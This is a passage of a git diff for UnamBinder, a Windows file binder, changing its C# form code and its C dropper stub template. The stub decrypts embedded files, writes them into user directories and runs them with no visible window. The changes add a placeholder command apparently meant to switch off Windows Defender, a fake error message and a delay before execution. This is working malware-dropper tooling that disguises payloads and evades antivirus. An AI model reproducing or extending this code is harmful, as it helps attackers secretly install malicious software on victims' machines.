this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
- this.MinimumSize = new System.Drawing.Size(201, 283);
this.Name = "File";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Edit File";
@@ -242,7 +217,5 @@ private void InitializeComponent()
public MephToggleSwitch toggleExecute;
public MephComboBox comboDropLocation;
private MephButton btnIconBrowse;
- private System.Windows.Forms.Label label5;
- public MephToggleSwitch toggleHideWindow;
}
}
\ No newline at end of file
diff --git a/UnamBinder/File.cs b/UnamBinder/File.cs
index 4dcf783..be7ac2d 100644
--- a/UnamBinder/File.cs
+++ b/UnamBinder/File.cs
@@ -32,11 +32,12 @@ public override string ToString()
private void btnIconBrowse_Click(object sender, System.EventArgs e)
{
OpenFileDialog dialog = new OpenFileDialog();
- dialog.Filter = "Exe Files (.exe)|*.exe|All Files (*.*)|*.*";
+ dialog.Filter = "All Files (*.*)|*.*";
dialog.InitialDirectory = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
if (dialog.ShowDialog() == DialogResult.OK)
{
txtBindfile.Text = dialog.FileName;
+ txtFilename.Text = Path.GetFileName(dialog.FileName);
}
}
}
diff --git a/UnamBinder/Resources/MinGW64.zip b/UnamBinder/Resources/MinGW64.zip
index 1fea5a4..3cd43e4 100644
Binary files a/UnamBinder/Resources/MinGW64.zip and b/UnamBinder/Resources/MinGW64.zip differ
diff --git a/UnamBinder/Resources/Program.c b/UnamBinder/Resources/Program.c
index 8fa432c..5e5383c 100644
--- a/UnamBinder/Resources/Program.c
+++ b/UnamBinder/Resources/Program.c
@@ -4,33 +4,6 @@
/* Created by Unam Sanctam, https://github.com/UnamSanctam */
-char base46_map[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
- 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
- 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
- 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
-
-char* base64_decode(char* cipher) {
- char counts = 0;
- char buffer[4];
- char* plain = malloc(strlen(cipher) * 3 / 4);
- int i = 0, p = 0;
- for(i = 0; cipher[i] != '\0'; i++) {
- char k;
- for(k = 0 ; k < 64 && base46_map[k] != cipher[i]; k++);
- buffer[counts++] = k;
- if(counts == 4) {
- plain[p++] = (buffer[0] << 2) + (buffer[1] >> 4);
- if(buffer[2] != 64)
- plain[p++] = (buffer[1] << 4) + (buffer[2] >> 2);
- if(buffer[3] != 64)
- plain[p++] = (buffer[2] << 6) + buffer[3];
- counts = 0;
- }
- }
- plain[p] = '\0';
- return plain;
-}
-
char* cipher(char* data, long dataLen) {
char* key = "#KEY";
int keyLen = strlen(key);
@@ -50,7 +23,7 @@ int write_file(char* file, unsigned char* buffer, long length){
return result;
}
-int run_program(char* file, char* arguments, int hidden){
+int run_program(char* file, char* arguments){
PROCESS_INFORMATION p_info;
STARTUPINFO s_info;
@@ -58,7 +31,7 @@ int run_program(char* file, char* arguments, int hidden){
memset(&p_info, 0, sizeof(p_info));
s_info.cb = sizeof(s_info);
- if(CreateProcess(file, arguments, NULL, NULL, FALSE, (hidden ? CREATE_NO_WINDOW : CREATE_NEW_CONSOLE), NULL, NULL, &s_info, &p_info)){
+ if(CreateProcess(file, arguments, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &s_info, &p_info)){
CloseHandle(p_info.hProcess);
CloseHandle(p_info.hThread);
return 1;
@@ -68,19 +41,27 @@ int run_program(char* file, char* arguments, int hidden){
int main(int argc, char **argv)
{
+#if DefError
+ run_program(NULL, cipher("#ERRORCOMMAND", #ERRORCOMMANDLENGTH));
+#endif
+#if DefDelay
+ sleep(#DELAY * 1000);
+#endif
#if DefWD
- run_program(NULL, cipher("#WDCOMMAND", #WDCOMMANDLENGTH), 1);
+ run_program(NULL, cipher("#WDCOMMAND", #WDCOMMANDLENGTH));
#endif
char* stringarray[#ARRAYCOUNT][3] = {#STRINGARRAY};
- long intarray[#ARRAYCOUNT][5] = {#INTARRAY};
+ long intarray[#ARRAYCOUNT][4] = {#INTARRAY};
char commandholder[MAX_PATH+1000];
+ char runcommand[MAX_PATH+1000];
for(int i = 0; i < #ARRAYCOUNT; ++i){
sprintf(commandholder, "%s\\%s", getenv(stringarray[i][0]), cipher(stringarray[i][1], intarray[i][0]));
- write_file(commandholder, base64_decode(cipher(stringarray[i][2], intarray[i][2])), intarray[i][3]);
+ write_file(commandholder, cipher(stringarray[i][2], intarray[i][2]), intarray[i][2]);
if(intarray[i][1]){
- run_program(commandholder, NULL, intarray[i][4]);
+ sprintf(runcommand, "%s %s", cipher("#COMMANDRUN", #COMMANDRUNLENGTH), commandholder);
+ run_program(NULL, runcommand);
}
}
return 0;
diff --git a/UnamBinder/Vanity.Designer.cs b/UnamBinder/Vanity.Designer.cs
index 1c7ae94..b5d217b 100644
--- a/UnamBinder/Vanity.Designer.cs
+++ b/UnamBinder/Vanity.Designer.cs
@@ -75,6 +75,8 @@ private void InitializeComponent()
this.mephTheme1.Font = new System.Drawing.Font("Segoe UI", 9.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(128)));
this.mephTheme1.Location = new System.Drawing.Point(0, 0);
this.mephTheme1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
+ this.mephTheme1.MaximumSize = new System.Drawing.Size(556, 231);
+ this.mephTheme1.MinimumSize = new System.Drawing.Size(556, 231);
this.mephTheme1.Name = "mephTheme1";
this.mephTheme1.Size = new System.Drawing.Size(556, 231);
this.mephTheme1.SubHeader = "";